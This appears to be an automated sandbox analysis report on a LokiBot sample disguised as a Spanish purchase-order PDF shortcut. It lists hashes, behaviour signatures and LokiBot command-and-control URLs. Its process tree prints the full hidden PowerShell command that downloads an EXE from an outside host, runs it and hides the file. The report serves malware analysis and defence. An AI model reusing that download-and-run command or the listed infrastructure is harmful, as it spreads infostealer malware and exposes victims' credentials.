Analysis
-
max time kernel
126s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
27-11-2024 18:15
Static task
static1
Behavioral task
behavioral1
Sample
ORDEN DE COMPRA.pdf.lnk
Resource
win7-20240903-en
General
-
Target
ORDEN DE COMPRA.pdf.lnk
-
Size
2KB
-
MD5
9f96277bb641896447fe5b2ccf4388c3
-
SHA1
2306e1fc3f45019bbd297e75a1162fe12a6c7f52
-
SHA256
28557e17cc37aaa0834e1297b0c1345b489e7797daaa8ddf4feeab41cfc92934
-
SHA512
570cdcb66469ca4f01e5a792b7242eaa947801402be0a9a9ce5adf9eb3f688860bba4bb3f03d3d54b53e0e9c4d4efd5a140ec93ccc31658c6e45ef351be99e70
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe
Extracted
lokibot
http://naturealmikaly.sytes.net:4409/aujfygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
-
Lokibot family
-
Blocklisted process makes network request 1 IoCs
flow pid Process 5 2268 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2268 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 4 IoCs
pid Process 2772 cisencb.exe 2780 cisencb.exe 2836 cisencb.exe 2628 cisencb.exe -
Loads dropped DLL 3 IoCs
pid Process 2772 cisencb.exe 2772 cisencb.exe 2772 cisencb.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2772 set thread context of 2780 2772 cisencb.exe 33 PID 2772 set thread context of 2836 2772 cisencb.exe 34 PID 2772 set thread context of 2628 2772 cisencb.exe 35 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cisencb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cisencb.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2772 cisencb.exe Token: SeDebugPrivilege 2780 cisencb.exe -
Suspicious use of WriteProcessMemory 37 IoCs
description pid Process procid_target PID 292 wrote to memory of 2268 292 cmd.exe 31 PID 292 wrote to memory of 2268 292 cmd.exe 31 PID 292 wrote to memory of 2268 292 cmd.exe 31 PID 2268 wrote to memory of 2772 2268 powershell.exe 32 PID 2268 wrote to memory of 2772 2268 powershell.exe 32 PID 2268 wrote to memory of 2772 2268 powershell.exe 32 PID 2268 wrote to memory of 2772 2268 powershell.exe 32 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2780 2772 cisencb.exe 33 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2836 2772 cisencb.exe 34 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 PID 2772 wrote to memory of 2628 2772 cisencb.exe 35 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEn Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exe"C:\Users\Admin\AppData\Local\Temp\cisencb.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2780
-
-
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
PID:2836
-
-
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
PID:2628
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
273KB
MD5bf5fe4b1c9bbb595dc629e682b855f92
SHA1c2a6edba232a4c56e2c42581380fac5805ba44f7
SHA2569d2c842f90bb71d27073bc5c3399bab03bd00f3968c604835617b2bf0d59f0d3
SHA512cef15770970546152047c458611a25fa6cfa717ece5f47da84924f4f3f1e91943382ff7131c43a6a522b345f9438f3145fe17b30c61c2b82dedc2e5068bb5cb4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b